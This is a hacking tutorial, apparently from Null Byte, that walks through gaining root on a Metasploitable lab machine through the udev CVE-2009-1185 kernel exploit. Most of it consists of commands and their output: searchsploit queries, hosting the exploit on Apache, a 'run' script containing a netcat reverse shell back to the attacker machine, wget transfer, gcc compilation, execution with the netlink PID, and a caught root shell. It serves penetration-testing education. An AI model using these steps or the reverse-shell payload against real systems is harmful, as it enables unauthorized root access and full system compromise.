How To: Perform Local Privilege Escalation Using a Linux Kernel Exploit

Perform Local Privilege Escalation Using a Linux Kernel Exploit

Getting root is considered the Holy Grail in the world of Linux exploitation. Much like SYSTEM on Windows, the root account provides full administrative access to the operating system. Sometimes even a successful exploit will only give a low-level shell; In that case, a technique called privilege escalation can be used to gain access to more powerful accounts and completely own the system.

Step 1: Gather Info & Search for Exploit

In a previous tutorial, we used Metasploit to gain a low-level shell on the target system by exploiting the Shellshock vulnerability. What we ultimately want is root access, so in order to do that, we will need to escalate privileges and break out of the limited shell.

We will be using a kernel exploit to escalate privileges and get root, so first, we need to find out some information about the target. Since we already have a shell, we can use the uname -a command to view kernel information about the system. The lsb_release -a command is also helpful to find out what distribution is running and its release information.

[*] Started reverse TCP handler on
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (36 bytes) to
[*] Command shell session 2 opened ( -> at 2018-07-16 13:55:15 -0500

uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
lsb_release -a
No LSB modeuls are available.
Distributor ID: Ubuntu
Description:    Ubuntu 8.04
Release:        8.04
Codename:       hardy

From here, we can search for an exploit to use. The commands we just executed tell us the target is running Ubuntu 8.04 with kernel version 2.6.24. Kali contains a local version of Exploit-DB, a database that contains various exploits, code, and publications. We can access this with an extremely useful tool called SearchSploit by running the searchsploit command from the terminal.

root@nullbyte:~# searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escala | exploits/linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Pr | exploits/linux/local/
Linux Kernel 2.4.32/2.6.0 - 'do_mremap()' Bound Checking Privilege E | exploits/linux/local/145.c
Linux Kernel 2.4.30/ - Bluetooth 'bluez_sock_create' Local P | exploits/linux/local/25289.c
Linux Kernel 2.4.4 < / 2.6.0 < - 'Sendpage' Local  | exploits/linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / REHL 4.8/5.3 / SuSE 10 SP | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Pri | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3) | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index Privilege E | exploits/linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege | exploits/linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox | exploits/linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Esca | exploits/linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation  | exploits/linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local | exploits/linux/local/
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9/04) UDEV < 1.4.1 - Local Pr | exploits/linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Cor | exploits/linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1 | exploits/linux/local/33321.c
Linux Kernel 2.6.10 < - 'pipe.c' Local Privilege Escalation | exploits/linux/local/40812.c

Since we are looking for a privilege escalation exploit, we search for privilege, then use grep to pipe our search into narrower results while ignoring case with the -i flag. For this example, we will use the 8572.c exploit, which takes advantage of a flaw in the UDEV device manager, allowing for code execution via an unverified Netlink message. Simply copy the location of the exploit and use the locate command to find the full path, which is /usr/share/exploitdb/exploits/linux/local/8572.c.

root@nullbyte:~# locate linux/local/8572.c

This exploit is written in C (hence, the .c extension), but we won't need to worry about the source code — it will just run once we compile it, but it doesn't hurt to get in the habit of reading code to see exactly what it does. Now we can cat out that file to view information about this exploit plus any developer notes.

* cve-2009-1185.c
* udev < 1141 Local Privilege Escalation Exploit
* Jon Oberheide <>
* Information:
*   udev before 1.4.1 does not verify whether a NETLINK message originates
*   from kernel space, which allows local users to gain privileges by sending
*   a NETLINK message from user space.
* Notes:
*   An alternative version of kcope's exploit.  This exploit leverages the
*   95-udev-late.rules functionality that is meant to run arbitrary commands
*   when a device is removed.  A bit cleaner and reliable as long as you
*   distro ships that rule file.
*   Tested on Gentoo, Intrepid, and Jaunty.
* Usage:
*   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*   usually is the udevd PID minus 1) as argv[1].
*   The exploit will execute /tmp/run as root so throw whatever payload you
*   want in there.

Step 2: Transfer Exploit to Target

In order to use this exploit, it needs to be on the target machine. The easiest way to accomplish this is to host the file on a local Apache server on our Kali machine, connect to the server from the target machine, and ultimately download the file. Before we do that, though, a few preparatory steps need to be taken.

First, we need to make sure the server is up and running on Kali, so execute service apache2 restart in the terminal. Next, we can make a symbolic link between the directory where the exploit is located and the directory that serves files on the server; This will make the exploit available to download. To do this, run the following command:

ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

This exploit will run from the /tmp directory on the target, so first we need to create the file that will execute. On Kali still, type nano /var/www/html/run and enter these lines in the file:

#! /bin/bash
nc 4321 -e /bin/bash

When this file is executed, it will use Netcat to connect to Kali's IP address on port 4321 and spawn a shell. Press Ctrl-X, Y, and Enter to save.

Now we're ready to upload the files to the target. Back in our low-level shell, change into the /tmp directory and use the wget utility to connect to the server running on Kali and transfer the files onto the target machine.

cd /tmp
           => 'run'
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 46

    OK                                                  100%  978.43 KB/s

15:18:31 (978.43 KB/s) - 'run' saved [46/46]

           => '8572.c'
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [text/x-csrc]

    OK                                                  100%  100.46 MB/s

15:19:24 (100.46 MB/s) - '8572.c' saved [2876/2876]

Step 3: Compile & Execute

Now that the files needed to run this exploit are successfully transferred to our target, we are almost ready to execute. Since the exploit file is coded in C, we need to compile it into an executable. We won't get into the nitty-gritty of compiled languages here but, basically, there is source code that needs to be compiled in order to run. We can do this on Linux systems using GCC (GNU Compiler Collection).

Run the following command to compile the 8572.c exploit file into an executable, using the -o flag to specify the name of the output file:

gcc -o exploit 8572.c

If it complains about not finding ld (the dynamic linker), we can use the -B flag to specify where ld should be located, in this case, under /usr/bin, like so:

gcc -B /usr/bin -o exploit 8572.c

Finally we can use ls to verify that our executable file successfully compiled.

gcc -o exploit 8572.c
collect2: cannont find 'ld'

gcc -B /usr/bin -o exploit 8572.c


In the documentation of the 8572.c file, it said that we need to find the PID (process identifier) of the Netlink socket, which is usually the PID of the UDEVD process minus one. We can do that by running cat /proc/net/netlink, and the only nonzero PID should be the number we want. Verify that this is correct by running ps aux | grep udev — it should be one number higher.

cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem    Dump     Locks
celb4800 0   0      00000000 0        0       00000000 2
cf87fa00 4   0      00000000 0        0       00000000 2
cd678000 7   0      00000000 0        0       00000000 2
cdc4bc00 9   0      00000000 0        0       00000000 2
cdc09c00 10  0      00000000 0        0       00000000 2
ce1bc400 15  0      00000000 0        0       00000000 2
cf8dee00 15  2459   00000000 0        0       00000000 2
cd394800 16  0      00000000 0        0       00000000 2
cd5f6200 18  0      00000000 0        0       00000000 2
ps aux | grep udev
root      2460  0.0  0.2   2216   648 ?       S<s  14:42  0:01 /sbinudevd --daemon

Next, we need to set up a listener on our Kali machine so that when the "run" script executes, we are able to catch the shell. On Kali, type nc -lvp 4321 to listen for incoming connections.

Now that our listener is open, we can finally exploit the target. Remember to pass the PID of Netlink as an argument, in this case, 2459, but it could always be different. Execute the following command in the low-level shell:

./exploit 2459

After a few moments, a connection should open up back on our Netcat listener, and we can run commands like id and whoami to view user information. We can see that we have attained root-level access, and from here, we can basically do anything we want on the system.

root@nullbyte:~# nc -lvp 4321
listening on [any] 4321 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 34418
uid=0(root) gid=0(root)

Cracking Password Hashes Next

In this tutorial, we learned how to use a kernel exploit to perform local privilege escalation and get root on the target. Now that we have full administrative access, we own the system. In the next part of this series, we will locate the password hashes and explore a couple of tools used to crack them.

Cover image by TheDigitalArtist/Pixabay; Screenshots by drd_/Null Byte

Share Your Thoughts

  • Hot
  • Latest